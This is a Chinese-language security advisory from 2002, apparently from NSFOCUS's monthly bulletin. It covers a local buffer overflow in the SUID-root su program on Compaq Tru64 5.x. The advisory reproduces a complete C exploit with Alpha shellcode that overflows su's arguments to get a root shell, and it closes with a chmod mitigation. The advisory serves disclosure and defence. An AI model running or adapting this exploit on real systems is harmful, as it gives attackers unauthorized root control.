首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第34期->最新漏洞
期刊号: 类型: 关键词:
Tru64 SU程序本地缓冲区溢出漏洞

日期:2002-08-16

发布日期:2002-07-19
更新日期:2002-07-26

受影响系统:
Compaq Tru64 5.1a
Compaq Tru64 5.1
Compaq Tru64 5.0a
Compaq Tru64 5.0
描述:
------------------------------------------------------------------
BUGTRAQ  ID: 5272

Tru64是一款由HP公司开发的UNIX操作系统。

Tru64中的su程序在处理用户提交的命令行参数时缺少正确的检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。

Tru64中的su程序默认以SUID ROOT属性安装,由于对用户提交的命令行参数缺少正确检查,攻击者提交超长字符串作为命令行参数可导致su处理时产生缓冲区溢出,精心构建提交的字符串数据可以使攻击者以root用户的权限在系统上执行任意指令。

<*来源:phased (phased@mail.ru)
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-07/0214.html
*>

测试方法:
----------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

phased(phased@mail.ru) 提供了如下测试程序:

/*
/bin/su tru64 5.1
works with non-exec stack enabled

stripey is the man

developed at http://www.snosoft.com in the cerebrum labs

phased
phased at mail.ru
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=
    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
    "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
    "\x12\x14\x02\x42"      /* addq $16,16,$18              */
    "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
    "\x12\x94\x09\x42"      /* addq $16,76,$18              */
    "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
    "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
    "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
    "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
    "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
    "\x10\x04\xff\x47"      /* clr $16                      */
    "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
    "\x20\x35\x20\x42"      /* subq $17,1,$0                */
    "\xff\xff\xff\xff"      /* callsys ( disguised )        */
    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
    "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
    "\x12\x04\xff\x47"      /* clr $18                      */
    "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
    "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
    "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
    "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
    "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
    "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
    "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
    "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
    "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
    "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
    "\x20\x35\x60\x42"      /* subq $19,1,$0                */
    "\xff\xff\xff\xff";     /* callsys ( disguised )        */

/* shellcode by Taeho Oh */

main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";

bzero(&buffer, 8239);
bzero(&payload, 15200);

for (i=0;i<8233;i++)
        buffer[i] = 0x41;

/* 0x140010401 */

        buffer[i++] = 0x01;
        buffer[i++] = 0x04;
        buffer[i++] = 0x01;
        buffer[i++] = 0x40;
        buffer[i++] = 0x01;

for (i=0;i<15000;) {
    for(j=0;j<4;j++)  {
            payload[i++] = nop[j];
    }
}

for (i=i,j=0;j<sizeof(shellcode);i++,j++)
    payload[i] = shellcode[j];

    printf("/bin/su by phased\n");
    printf("payload %db\n", strlen(payload));
    printf("buffer %db\n", strlen(buffer));

    execl("/usr/bin/su", "su", buffer, payload, 0);

}

建议:
----------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用chmod u-s命令暂时去掉su的S位

厂商补丁:

Compaq
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.tru64unix.compaq.com/unix/security-download.html
版权所有,未经许可,不得转载